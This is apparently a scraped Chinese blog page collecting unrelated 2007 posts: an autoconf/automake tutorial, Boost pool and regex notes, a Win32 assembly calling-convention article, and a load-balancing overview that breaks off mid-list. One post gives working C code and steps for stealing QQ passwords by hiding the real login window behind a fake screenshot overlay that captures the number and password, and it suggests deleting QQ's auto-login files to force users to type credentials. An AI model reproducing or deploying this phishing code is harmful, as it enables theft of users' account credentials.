就是所有源文件及自己写的头文件位于当前目录的一个子目录中,而当前目录里没有任何源文件。 GNU cpio和GNU tar就是这一类。

flat类型是最简单的,deep类型是最复杂的。不难看出,我们的模拟需求正是基于第三类deep型,也就是说我们要做挑战性的事情:)。注:我们的测试程序是基于多线程的简单程序。





回页首


生成 Makefile 的来龙去脉

首先进入 project 目录,在该目录下运行一系列命令,创建和修改几个文件,就可以生成符合该平台的Makefile文件,操作过程如下:

1) 运行autoscan命令

2) 将configure.scan 文件重命名为configure.in,并修改configure.in文件

3) 在project目录下新建Makefile.am文件,并在core和shell目录下也新建makefile.am文件

4) 在project目录下新建NEWS、 README、 ChangeLog 、AUTHORS文件

5) 将/usr/share/automake-1.X/目录下的depcomp和complie文件拷贝到本目录下

6) 运行aclocal命令

7) 运行autoconf命令

8) 运行automake -a命令

9) 运行./confiugre脚本

可以通过图2看出产生Makefile的流程,如图所示:


图 2生成Makefile流程图
图 2生成makefile流程图




回页首


Configure.in的八股文

当我们利用autoscan工具生成confiugre.scan文件时,我们需要将confiugre.scan重命名为confiugre.in文件。confiugre.in调用一系列autoconf宏来测试程序需要的或用到的特性是否存在,以及这些特性的功能。

下面我们就来目睹一下confiugre.scan的庐山真面目:


# Process this file with autoconf to produce a configure script.
AC_PREREQ(2.59)
AC_INIT(FULL-PACKAGE-NAME, VERSION, BUG-REPORT-ADDRESS)
AC_CONFIG_SRCDIR([config.h.in])
AC_CONFIG_HEADER([config.h])
# Checks for programs.
AC_PROG_CC
# Checks for libraries.
# FIXME: Replace `main' with a function in `-lpthread':
AC_CHECK_LIB([pthread], [main])
# Checks for header files.
# Checks for typedefs, structures, and compiler characteristics.
# Checks for library functions.
AC_OUTPUT

每个configure.scan文件都是以AC_INIT开头,以AC_OUTPUT结束。我们不难从文件中看出confiugre.in文件的一般布局:


AC_INIT
测试程序
测试函数库
测试头文件
测试类型定义
测试结构
测试编译器特性
测试库函数
测试系统调用
AC_OUTPUT

上面的调用次序只是建议性质的,但我们还是强烈建议不要随意改变对宏调用的次序。

现在就开始修改该文件:


$mv configure.scan configure.in
$vim configure.in

修改后的结果如下:


		
# -*- Autoconf -*-
# Process this file with autoconf to produce a configure script.

AC_PREREQ(2.59)
AC_INIT(test, 1.0, normalnotebook@126.com)
AC_CONFIG_SRCDIR([src/ModuleA/apple/core/test.c])
AM_CONFIG_HEADER(config.h)
AM_INIT_AUTOMAKE(test,1.0)

# Checks for programs.
AC_PROG_CC
# Checks for libraries.
# FIXME: Replace `main' with a function in `-lpthread':
AC_CHECK_LIB([pthread], [pthread_rwlock_init])
AC_PROG_RANLIB
# Checks for header files.
# Checks for typedefs, structures, and compiler characteristics.
# Checks for library functions.
AC_OUTPUT([Makefile
src/lib/Makefile
src/ModuleA/apple/core/Makefile
src/ModuleA/apple/shell/Makefile
])

其中要将AC_CONFIG_HEADER([config.h])修改为:AM_CONFIG_HEADER(config.h), 并加入AM_INIT_AUTOMAKE(test,1.0)。由于我们的测试程序是基于多线程的程序,所以要加入AC_PROG_RANLIB,不然运行automake命令时会出错。在AC_OUTPUT输入要创建的Makefile文件名。

由于我们在程序中使用了读写锁,所以需要对库文件进行检查,即AC_CHECK_LIB([pthread], [main]),该宏的含义如下:



其中,LIBS是link的一个选项,详细请参看后续的Makefile文件。由于我们在程序中使用了读写锁,所以我们测试pthread库中是否存在pthread_rwlock_init函数。

由于我们是基于deep类型来创建makefile文件,所以我们需要在四处创建Makefile文件。即:project目录下,lib目录下,core和shell目录下。

Autoconf提供了很多内置宏来做相关的检测,限于篇幅关系,我们在这里对其他宏不做详细的解释,具体请参看参考文献1和参考文献2,也可参看autoconf信息页。





回页首


实战Makefile.am

Makefile.am是一种比Makefile更高层次的规则。只需指定要生成什么目标,它由什么源文件生成,要安装到什么目录等构成。

表一列出了可执行文件、静态库、头文件和数据文件,四种书写Makefile.am文件个一般格式。


表 1Makefile.am一般格式
表 1makefile.am一般格式

对于可执行文件和静态库类型,如果只想编译,不想安装到系统中,可以用noinst_PROGRAMS代替bin_PROGRAMS,noinst_LIBRARIES代替lib_LIBRARIES。

Makefile.am还提供了一些全局变量供所有的目标体使用:


表 2 Makefile.am中可用的全局变量
表 2 makefile.am中可用的全局变量

在Makefile.am中尽量使用相对路径,系统预定义了两个基本路径:


表 3Makefile.am中可用的路径变量
表 3makefile.am中可用的路径变量

在上文中我们提到过安装路径,automake设置了默认的安装路径:

1) 标准安装路径

默认安装路径为:$(prefix) = /usr/local,可以通过./configure --prefix=<new_path>的方法来覆盖。

其它的预定义目录还包括:bindir = $(prefix)/bin, libdir = $(prefix)/lib, datadir = $(prefix)/share, sysconfdir = $(prefix)/etc等等。

2) 定义一个新的安装路径

比如test, 可定义testdir = $(prefix)/test, 然后test_DATA =test1 test2,则test1,test2会作为数据文件安装到$(prefix)/ /test目录下。

我们首先需要在工程顶层目录下(即project/)创建一个Makefile.am来指明包含的子目录:


SUBDIRS=src/lib src/ModuleA/apple/shell src/ModuleA/apple/core 
CURRENTPATH=$(shell /bin/pwd)
INCLUDES=-I$(CURRENTPATH)/src/include -I$(CURRENTPATH)/src/ModuleA/apple/include
export INCLUDES

由于每个源文件都会用到相同的头文件,所以我们在最顶层的Makefile.am中包含了编译源文件时所用到的头文件,并导出,见蓝色部分代码。

我们将lib目录下的swap.c文件编译成libswap.a文件,被apple/shell/apple.c文件调用,那么lib目录下的Makefile.am如下所示:


noinst_LIBRARIES=libswap.a
libswap_a_SOURCES=swap.c
INCLUDES=-I$(top_srcdir)/src/includ

细心的读者可能就会问:怎么表1中给出的是bin_LIBRARIES,而这里是noinst_LIBRARIES?这是因为如果只想编译,而不想 安装到系统中,就用noinst_LIBRARIES代替bin_LIBRARIES,对于可执行文件就用noinst_PROGRAMS代替 bin_PROGRAMS。对于安装的情况,库将会安装到$(prefix)/lib目录下,可执行文件将会安装到${prefix}/bin。如果想安 装该库,则Makefile.am示例如下:


bin_LIBRARIES=libswap.a
libswap_a_SOURCES=swap.c
INCLUDES=-I$(top_srcdir)/src/include
swapincludedir=$(includedir)/swap
swapinclude_HEADERS=$(top_srcdir)/src/include/swap.h

最后两行的意思是将swap.h安装到${prefix}/include /swap目录下。

接下来,对于可执行文件类型的情况,我们将讨论如何写Makefile.am?对于编译apple/core目录下的文件,我们写成的Makefile.am如下所示:


noinst_PROGRAMS=test
test_SOURCES=test.c
test_LDADD=$(top_srcdir)/src/ModuleA/apple/shell/apple.o $(top_srcdir)/src/lib/libswap.a
test_LDFLAGS=-D_GNU_SOURCE
DEFS+=-D_GNU_SOURCE
#LIBS=-lpthread

由于我们的test.c文件在链接时,需要apple.o和 libswap.a文件,所以我们需要在test_LDADD中包含这两个文件。对于Linux下的信号量/读写锁文件进行编译,需要在编译选项中指明- D_GNU_SOURCE。所以在test_LDFLAGS中指明。而test_LDFLAGS只是链接时的选项,编译时同样需要指明该选项,所以需要 DEFS来指明编译选项,由于DEFS已经有初始值,所以这里用+=的形式指明。从这里可以看出,Makefile.am中的语法与Makefile的语 法一致,也可以采用条件表达式。如果你的程序还包含其他的库,除了用AC_CHECK_LIB宏来指明外,还可以用LIBS来指明。

如果你只想编译某一个文件,那么Makefile.am如何写呢?这个文件也很简单,写法跟可执行文件的差不多,如下例所示:


noinst_PROGRAMS=apple
apple_SOURCES=apple.c
DEFS+=-D_GNU_SOURCE

我们这里只是欺骗automake,假装要生成apple文件,让它为我们生成依赖关系和执行命令。所以当你运行完automake命令后,然后修改apple/shell/下的Makefile.in文件,直接将LINK语句删除,即:


…….
clean-noinstPROGRAMS:
-test -z "$(noinst_PROGRAMS)" || rm -f $(noinst_PROGRAMS)
apple$(EXEEXT): $(apple_OBJECTS) $(apple_DEPENDENCIES)
@rm -f apple$(EXEEXT)
#$(LINK) $(apple_LDFLAGS) $(apple_OBJECTS) $(apple_LDADD) $(LIBS)
…….

通过上述处理,就可以达到我们的目的。从图1中不难看出为什么要修改Makefile.in的原因,而不是修改其他的文件。






回页首


下载

名字大小下载方法
project.rar
HTTP
关于下载方法的信息 Get Adobe® Reader®


参考资料

  1. Kurt Wall,张辉译 《GNU/Linux编程指南》 清华大学出版社
  2. Robert Mecklenburg,《GNU Make项目管理(第三版)》 东南大学出版社 2006
  3. http://www.cngnu.org/technology/index.html


作者简介


杨小华,目前从事 Linux 内核方面的研究,喜欢捣鼓 Linux 系统,对 Linux 中断系统比较了解。可以通过 normalnotebook@126.com与他取得联系。



苏春艳:在读研究生,主要在Linux系统下从事嵌入式开发。

posted @ 2007-04-17 13:36 易道 阅读(535) | 评论 (0)编辑 收藏

Pool分配是一种分配内存方法,用于快速分配同样大小的内存块,
    尤其是反复分配/释放同样大小的内存块的情况。

1. pool


    快速分配小块内存,如果pool无法提供小块内存给用户,返回0。

    Example:

    void func()
    {
      boost::pool
<> p(sizeof(int));
                      
^^^^^^^^^^^
                      指定每次分配的块的大小
      
for (int i = 0; i < 10000++i)
      {
        
int * const t = p.malloc();
                        pool分配指定大小的内存块;需要的时候,pool会向系统
                        申请大块内存。
        ... 
// Do something with t; don't take the time to free() it
        p.free( t );
        
// 释放内存块,交还给pool,不是返回给系统。
      }

      pool的析构函数会释放所有从系统申请到的内存。

 

2. object_pool   

 
    与pool的区别在于:pool需要指定每次分配的块的大小,object_pool需要指定
    每次分配的对象的类型。

    Example:
    struct X { ... }; // has destructor with side-effects

    
void func()
    {
      boost::object_pool
<X> p;
                         
^
      
for (int i = 0; i < 10000++i)
      {
        X 
* const t = p.malloc();
                      注意;X的构造函数不会被调用,仅仅是分配大小为sizeof(X)
                      的内存块。如果需要调用构造函数(像new一样),应该调用
                      construct。比如:
                      X 
* const t = p.construct();
        ...
      }
    }

 

3. singleton_pool


    与pool用法一样。不同的是:可以定义多个pool类型的object,都是分配同样
    大小的内存块;singleton_pool提供静态成员方法分配内存,不用定义object。

    Example:

    struct MyPoolTag { };

    typedef boost::singleton_pool
<MyPoolTag, sizeof(int)> my_pool;
    
void func()
    {
      
for (int i = 0; i < 10000++i)
      {
        
int * const t = my_pool::malloc();
                        
// ^^^^^^^^^
                        
// 和pool不一样。
        ...
      }

      my_pool::purge_memory();
      
// 释放my_pool申请的内存。
    }

 

4. pool_alloc


    基于singleton_pool实现,提供allocator(用于STL等)。

    Example:

    void func()
    {
      std::vector
<int, boost::pool_allocator<int> > v;
      
for (int i = 0; i < 10000++i)
        v.push_back(
13);
    }

    需要的话,必须自己显式地调用
    boost::singleton_pool<boost::pool_allocator_tag, sizeof(int)>::release_memory()
    把allocator分配的内存返回系统。


实现原理


    pool每次向系统申请一大块内存,然后分成同样大小的多个小块,
    形成链表连接起来。每次分配的时候,从链表中取出头上一块,提
    供给用户。链表为空的时候,pool继续向系统申请大块内存。
    一个小问题:在pool的实现中,在申请到大块内存后,马上把它分
    成小块形成链表。这个过程开销比较大。即你需要分配一小块内存
    时,却需要生成一个大的链表。用如下代码测试:

boost::pool<> mem_pool(16);

for(i = 0; i < NPASS; i++) {
     period 
= clock();
  
for(n = 0; n < NITEM; n++) {
   array_ptr[n] 
= (int *)mem_pool.malloc();
  }
  
for(n = 0; n < NITEM; n++) {
   mem_pool.free(array_ptr[n]);
  }
     period 
= clock() - period;
     printf(
"pool<>  : period = %5d ms ", period);
}
    可以发现,第一遍花的时间明显多于后面的。

    而且在pool的使用过程中如果不是恰好把链表中所有的小块都用上
    的话,在链表中最后的一些小块会始终用不上。把这些小块加入链
    表是多余的。虽然这个开销可能很小:)
posted @ 2007-04-16 15:32 易道 阅读(4519) | 评论 (0)编辑 收藏

搜狗输入法存在bug, 我也不知道,怎么突然间输入p,
以后切换到google输入法的界面的,还不退出,
切换到别的输入也是不退出,但是能窗体能移动,呵呵,搜狗输入法还要继续努力



posted @ 2007-04-11 11:46 易道 阅读(272) | 评论 (0)编辑 收藏

作者:罗云彬·发布日期:2000-8-8·阅读次数:11124


   在 Win32汇编中,我们经常要和 Api 打交道,另外也会常常使用自己编制的类似于 Api 的带参数的子程序,本文要讲述的是在子程序调用的过程中进行参数传递的概念和分析。一般在程序中,参数的传递是通过堆栈进行的,也就是说,调用者把要传递 给子程序(或者被调用者)的参数压入堆栈,子程序在堆栈取出相应的值再使用,比如说,如果你要调用 SubRouting(Var1,Var2,Var3),编译后的最终代码可能

   push Var3
   push Var2
   push Var1
   call SubRouting
   add esp,12

   也就是说,调用者首先把参数压入堆栈,然后调用子程序,在完成后,由于堆栈中先前压入的数不再有用,调用者或者被调用者必须有一方把堆栈指针修正到 调用前的状态。参数是最右边的先入堆栈还是最左边的先入堆栈、还有由调用者还是被调用者来修正堆栈都必须有个约定,不然就会产生不正确的结果,这就是我在 前面使用“可能”这两个字的原因:各种语言中调用子程序的约定是不同的,它们的不同点见下表:
  C SysCall StdCall Basic Fortran Pascal
参数从左到右      
参数从右到左      
调用者清除堆栈          
允许使用:VARARG      

   VARARG 表示参数的个数可以是不确定的,有一个例子就是 C 中的 printf 语句,在上表中,StdCall 的定义有个要说明的地方,就是如果 StdCall 使用 :VARARG 时,是由调用者清除堆栈的,而在没有:VARARG时是由被调用者清除堆栈的。在 Win32 汇编中,约定使用 StdCall 方式,所以我们要在程序开始的时候使用 .model stdcall 语句。也就是说,在 API 或子程序中,最右边的参数先入堆栈,然后子程序在返回的时候负责校正堆栈,举例说明,如果我们要调用 MessageBox 这个 API,因为它的定义是 MessageBox(hWnd,lpText,lpCaption,UType) 所以在程序中要这样使用:

   push MB_OK
   push offset szCaption
   push offset szText
   push hWnd
   call MessageBox
   ...

   我们不必在 API 返回的时候加上一句 add sp,4*4 来修正堆栈,因为这已经由 MessageBox 这个子程序做了。在 Windows API 中,唯一一个特殊的 API 是 wsprintf,这个 API 是 C 约定的,它的定义是 wsprintf(lpOut,lpFormat,Var1,Var2...),所以在使用时就要:

   push 1111
   push 2222
   push 3333
   push offset szFormat
   push offset szOut
   call wsprintf
   add esp,4*5


   下面要讲的是子程序如何存取参数,因为缺省对堆栈操作的寄存器有 ESP 和 EBP,而 ESP是堆栈指针,无法暂借使用,所以一般使用 EBP 来存取堆栈,假定在一个调用中有两个参数,而且在 push 第一个参数前的堆栈指针 ESP 为 X,那么压入两个参数后的 ESP 为 X-8,程序开始执行 call 指令,call 指令把返回地址压入堆栈,这时候 ESP 为 X-C,这时已经在子程序中了,我们可以开始使用 EBP 来存取参数了,但为了在返回时恢复 EBP 的值,我们还是再需要一句 push ebp 来先保存 EBP 的值,这时 ESP 为 X-10,再执行一句 mov ebp,esp,根据上图可以看出,实际上这时候 [ebp + 8] 就是参数1,[ebp + c]就是参数2。另外,局部变量也是定义在堆栈中的,它们的位置一般放在 push ebp 保存的 EBP 数值的后面,局部变量1、2对应的地址分别是 [ebp-4]、[ebp-8],下面是一个典型的子程序,可以完成第一个参数减去第二个参数,它的定义是:

   MyProc proto Var1,Var2 ;有两个参数
   local lVar1,lVar2 ;有两个局部变量

   注意,这里的两个 local 变量实际上没有被用到,只是为了演示用,具体实现的代码是:

MyProc proc

   push ebp
   mov ebp,esp
   sub esp,8
   mov eax,dword ptr [ebp + 8]
   sub eax,dword ptr [ebp + c]
   add esp,8
   pop ebp
   ret 8

MyProc endp

   现在对这个子程序分析一下,push ebp/mov ebp,esp 是例行的保存和设置 EBP 的代码,sub esp,8 在堆栈中留出两个局部变量的空间,mov /add 语句完成相加,add esp,8 修正两个局部变量使用的堆栈,ret 8 修正两个参数使用的堆栈,相当于 ret / add esp,8 两句代码的效果。可以看出,这是一个标准的 Stdcall 约定的子程序,使用时最后一个参数先入堆栈,返回时由子程序进行堆栈修正。当然,这个子程序为了演示执行过程,使用了手工保存 ebp 并设置局部变量的方法,实际上,386 处理器有两条专用的指令是完成这个功能用的,那就是 Enter 和 Leave,Enter 语句的作用就是 push ebp/mov ebp,esp/sub esp,xxx,这个 xxx 就是 Enter 的,Leave 则完成 add esp,xxx/pop ebp 的功能,所以上面的程序可以改成:

MyPorc proc

   enter 8,0

   mov eax,dword ptr [ebp + 8]
   sub eax,dword ptr [ebp + c]

   leave
   ret 8

MyProc endp

   好了,说到这儿,参数传递的原理也应该将清楚了,还要最后说的是,在使用 Masm32 编 Win32 汇编程序的时候,我们并不需要记住 [ebp + xx] 等麻烦的地址,或自己计算局部变量需要预留的堆栈空间,还有在 ret 时计算要加上的数值,Masm32 的宏指令都已经把这些做好了,如在 Masm32 中,上面的程序只要写成为:

MyProc proc Var1,Var2
   local lVar1,lVar2

   mov eax,Var1
   sub eax,Var2
   ret

MyProc endp

   编译器会自动的在 mov eax,Var1 前面插上一句 Enter 语句,它的参数会根据 local 定义的局部变量的多少自动指定,在 ret 前会自动加上一句 Leave,同样,编译器会根据参数的多少把 ret 替换成 ret xxx,把 mov eax,Var1 换成 mov eax,dword ptr [ebp + 8] 等等。
   最后是使用 Masm32 的 invoke 宏指令,在前面可以看到,调用带参数的子程序时,我们需要用 push 把参数压入堆栈,如果不小心把参数个数搞错了,就会使堆栈不平衡,从而使程序从堆栈中取出错误的返回地址引起不可预料的后果,所以有必要有一条语句来完成 自动检验的任务,invoke 就是这样的语句,实际上,它是自动 push 所有参数,检测参数个数、类型是否正确,并使用 call 来调用的一个宏指令,对于上面的 push/push/call MyProc 的指令,可以用一条指令完成就是:

invoke MyProc,Var1,Var2

当然,当程序编译好以后你去看机器码会发现它被正确地换成了同样的 push/push/call 指令。但是,在使用 invoke 之前,为了让它进行正确的参数检验,你需要对函数进行申明,就象在 C 中一样,申明的语句是:

MyProc proto :DWORD,:DWORD

语句中 proto 是关键字,表示申明,:DWORD 表示参数的类型是 double word 类型的,有几个就表示有几个参数,在 Win32 中参数都是 double word 型的,申明语句要写在 invoke 之前,所以我们一般把它包括在 include 文件中,好了,综合一下,在 Masm32 中使用一个带参数的子程序或者 Api ,我们只需用:

   ...
   MyProc proto :dword,:dword
   ...
   .data
   x dd ?
   y dd ?
   dwResult dd ?
   ...
   mov x,1
   mov y,2
   invoke MyProc x,y
   mov dwResult,eax
   ...

就行了,如何,是不是很简单啊?不过我可苦了,这篇文章整整花了我一个晚上 ... ##%$^&(*&^(*&(^&(*
posted @ 2007-04-05 16:03 易道 阅读(359) | 评论 (0)编辑 收藏

boost库安装比较麻烦,需要自己编译源文件,我整理了一下,如果仅仅需要做正则表达式,按下面的代码敲就行了:

cmd
  VCvars32.bat
  cd D:\boost_1_32_0\libs\regex\build
  d:
  nmake -fvc6.mak
  nmake -fvc6.mak install

  注意,别看下载下 来的数据包没有多大,解压缩之后达到了100多M,编译完之后为109M,占用131M,所以安装时一定注意空出足够的空间,敲入nmake -fvc6.mak后等待的时间比较长,屏幕上还会出现一大堆英语,可以不做考虑.按照步骤往下敲就行了.压缩包内文档很详细,参照文档继续就可以了.

  在VC6中集成:Tools->Options->Directories->Include files

  加入:D:\boost_1_32_0

  编写一个源程序测试一下:

#include "stdafx.h"
#include <cstdlib>
#include <stdlib.h>
#include <boost/regex.hpp>
#include <string>
#include <iostream>

using namespace std;
using namespace boost;

regex expression("^select ([a-zA-Z]*) from ([a-zA-Z]*)");

int main(int argc, char* argv[])
{
 std::string in;
 cmatch what;
 cout << "enter test string" << endl;
 getline(cin,in);
 if(regex_match(in.c_str(), what, expression))
 {
  for(int i=0;i<what.size();i++)
   cout<<"str :"<<what[i].str()<<endl;
 }
 else
 {
  cout<<"Error Input"<<endl;
 }
 return 0;
}

  输入: select name from table
  输出: str:select name from table
     str:name
     str:table
posted @ 2007-04-03 10:47 易道 阅读(418) | 评论 (0)编辑 收藏

近日无所事事,看到现在的QQ防盗技术越来越好,一般的钩子已经无法获取用户输入 的密码了,我也试图用发送WM_GETTEXT消息以及GetWindowText来获取密码文本框的数据,发现是不可行的。左思右想,既然程序本身的防 范很 严密。那么我们就从用户这边来下手吧。毕竟很多用户对电脑不是很了解的,各位看官可不能扔丑鸡蛋啊。
网吧里一般用户点击QQ快捷方式后就输入号码和密码,然后再登陆,这样我们就可以进行欺骗了。我们的程序运行在后台不停的检测当前激活的窗口是不是QQ登 录的窗口,如果是的话就先取得QQ登录窗口中的号码、密码文本框和登陆按钮的窗口位置。这样是为了在我们伪造的窗口上创建这些窗口时不被察觉,获得这些信 息后,我们先截取整个屏幕,然后把真正的QQ登录窗口隐藏起来,最后创建我们自己的窗口,设置为最前占满整个桌面,然后再背景上贴上刚才抓取的图片。最后 在图片QQ登陆的地方创建好QQ号码和密码输入窗口,在检测到用户单击在QQ登陆按钮时获取用户输入的字符,把这些字符发送到真正的QQ窗口里,最后模拟 单击QQ登陆按钮完成QQ的正常登陆。

  然而家庭用户一般是选了自动登陆的方式,所以没有QQ登录的窗口,那我们就要动一些手脚 了。了解QQ的地球人都知道,QQ文件夹下有这两个文件:AutoLogin.dat和LoginUinList.dat,它们的功能:这两个文件是QQ 的号码登录数据文件,AutoLogin.dat 保存的是自动登录号码的数据文件,LoginUinList.dat则保存的是QQ登录窗口中的“QQ号码”下拉框中显示的所有号码记录。所以我们要删除 QQ登录数据,直接删除AutoLogin.dat和LoginUinList.dat两个文件就行了。主要代码分析如下:
//根据进程ID得到进程名称 
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}

return FALSE;
}

//查找QQ登录窗口
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
char sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//获得当前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
//根据PID获得进程名
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//判断是否QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}

//获得标题文字,判断是否登陆对话框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{
//查找QQ登陆按钮的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
//获得QQ登陆按钮窗口位置
GetWindowRect(ButtonLogin, &g_qqLogin);

//查找QQ取消按钮的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//获得QQ取消按钮窗口位置
GetWindowRect(ButtonCancel, &g_qqCancel);

//查找QQ密码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//获得QQ密码输入框窗口位置
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}

//查找QQ号码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//获得QQ号码输入框窗口位置
GetWindowRect(qqID_hWnd, &g_qqIDRt);
//获得当前默认QQ号码
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}

//等待QQ窗口完全出现后抓取整个屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_PBitmap = CopyScreenToBitmap(&g_DlgRt);

//设置QQ窗口为不可见
ShowWindow(g_hWnd, SW_HIDE);

//弹出我们创建的伪造对话框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);

//设置QQ窗口为可见
ShowWindow(g_hWnd, SW_SHOW);

//把QQ号码和密码填到真正的QQ登录窗口上,并模拟单击登陆按钮
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);

DeleteObject(g_pBitmap);
//设置标志退出循环
find = true;
}

}

while(find == FALSE);
}
截图如下:


图一 伪装的登陆界面

  好了,说到这儿也差不多啦,见笑见笑了^_^,最后奉劝一句,请勿用于非法。


posted @ 2007-04-03 10:46 易道 阅读(931) | 评论 (5)编辑 收藏

nternet的规模每一百天就会增长一倍,客户希望获得7天24小时的不间断可用性及较快的系统反应时间,而不愿屡次看到某个站点“Server Too Busy”及频繁的系统故障。

   网络的各个核心部分随着业务量的提高、访问量和数据流量的快速增长,其处理能力和计算强度也相应增大,使得单一设备根本无法承担。在此情况下,如果扔掉 现有设备去做大量的硬件升级,这样将造成现有资源的浪费,而且如果再面临下一次业务量的提升,这又将导致再一次硬件升级的高额成本投入,甚至性能再卓越的 设备也不能满足当前业务量的需求。于是,负载均衡机制应运而生。

  负载均衡(Load Balance)建立在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。

  负载均衡有两方面的含义:首先,大量的并发访问或数据流量分担到多台节点设备上分别处理,减少用户等待响应的时间;其次,单个重负载的运算分担到多台节点设备上做并行处理,每个节点设备处理结束后,将结果汇总,返回给用户,系统处理能力得到大幅度提高。

  本文所要介绍的负载均衡技术主要是指在均衡服务器群中所有服务器和应用程序之间流量负载的应用,目前负载均衡技术大多数是用于提高诸如在Web服务器、FTP服务器和其它关键任务服务器上的Internet服务器程序的可用性和可伸缩性。

负载均衡技术分类

  目前有许多不同的负载均衡技术用以满足不同的应用需求,下面从负载均衡所采用的设备对象、应用的网络层次(指OSI参考模型)及应用的地理结构等来分类。

软/硬件负载均衡
   软件负载均衡解决方案是指在一台或多台服务器相应的操作系统上安装一个或多个附加软件来实现负载均衡,如DNS Load Balance,CheckPoint Firewall-1 ConnectControl等,它的优点是基于特定环境,配置简单,使用灵活,成本低廉,可以满足一般的负载均衡需求。

  软件解决方案 缺点也较多,因为每台服务器上安装额外的软件运行会消耗系统不定量的资源,越是功能强大的模块,消耗得越多,所以当连接请求特别大的时候,软件本身会成为 服务器工作成败的一个关键;软件可扩展性并不是很好,受到操作系统的限制;由于操作系统本身的Bug,往往会引起安全问题。

  硬件负载均衡解决方案是直接在服务器和外部网络间安装负载均衡设备,这种设备我们通常称之为负载均衡器,由于专门的设备完成专门的任务,独立于操作系统,整体性能得到大量提高,加上多样化的负载均衡策略,智能化的流量管理,可达到最佳的负载均衡需求。

  负载均衡器有多种多样的形式,除了作为独立意义上的负载均衡器外,有些负载均衡器集成在交换设备中,置于服务器与Internet链接之间,有些则以两块网络适配器将这一功能集成到PC中,一块连接到Internet上,一块连接到后端服务器群的内部网络上。

  一般而言,硬件负载均衡在功能、性能上优于软件方式,不过成本昂贵。

本地/全局负载均衡
   负载均衡从其应用的地理结构上分为本地负载均衡(Local Load Balance)和全局负载均衡(Global Load Balance,也叫地域负载均衡),本地负载均衡是指对本地的服务器群做负载均衡,全局负载均衡是指对分别放置在不同的地理位置、有不同网络结构的服务 器群间作负载均衡。

  本地负载均衡能有效地解决数据流量过大、网络负荷过重的问题,并且不需花费昂贵开支购置性能卓越的服务器,充分利用 现有设备,避免服务器单点故障造成数据流量的损失。其有灵活多样的均衡策略把数据流量合理地分配给服务器群内的服务器共同负担。即使是再给现有服务器扩充 升级,也只是简单地增加一个新的服务器到服务群中,而不需改变现有网络结构、停止现有的服务。

  全局负载均衡主要用于在一个多区域拥有自己服务器的站点,为了使全球用户只以一个IP地址或域名就能访问到离自己最近的服务器,从而获得最快的访问速度,也可用于子公司分散站点分布广的大公司通过Intranet(企业内部互联网)来达到资源统一合理分配的目的。

  全局负载均衡有以下的特点:

实现地理位置无关性,能够远距离为用户提供完全的透明服务。
除了能避免服务器、数据中心等的单点失效,也能避免由于ISP专线故障引起的单点失效。
解决网络拥塞问题,提高服务器响应速度,服务就近提供,达到更好的访问质量。
网络层次上的负载均衡
  针对网络上负载过重的不同瓶颈所在,从网络的不同层次入手,我们可以采用相应的负载均衡技术来解决现有问题。

  随着带宽增加,数据流量不断增大,网络核心部分的数据接口将面临瓶颈问题,原有的单一线路将很难满足需求,而且线路的升级又过于昂贵甚至难以实现,这时就可以考虑采用链路聚合(Trunking)技术。

  链路聚合技术(第二层负载均衡)将多条物理链路当作一条单一的聚合逻辑链路使用,网络数据流量由聚合逻辑链路中所有物理链路共同承担,由此在逻辑上增大了链路的容量,使其能满足带宽增加的需求。

   现代负载均衡技术通常操作于网络的第四层或第七层。第四层负载均衡将一个Internet上合法注册的IP地址映射为多个内部服务器的IP地址,对每次 TCP连接请求动态使用其中一个内部IP地址,达到负载均衡的目的。在第四层交换机中,此种均衡技术得到广泛的应用,一个目标地址是服务器群VIP(虚拟 IP,Virtual IP address)连接请求的数据包流经交换机,交换机根据源端和目的IP地址、TCP或UDP端口号和一定的负载均衡策略,在服务器IP和VIP间进行映 射,选取服务器群中最好的服务器来处理连接请求。

  第七层负载均衡控制应用层服务的内容,提供了一种对访问流量的高层控制方式,适合对HTTP服务器群的应用。第七层负载均衡技术通过检查流经的HTTP报头,根据报头内的信息来执行负载均衡任务。

  第七层负载均衡优点表现在如下几个方面:

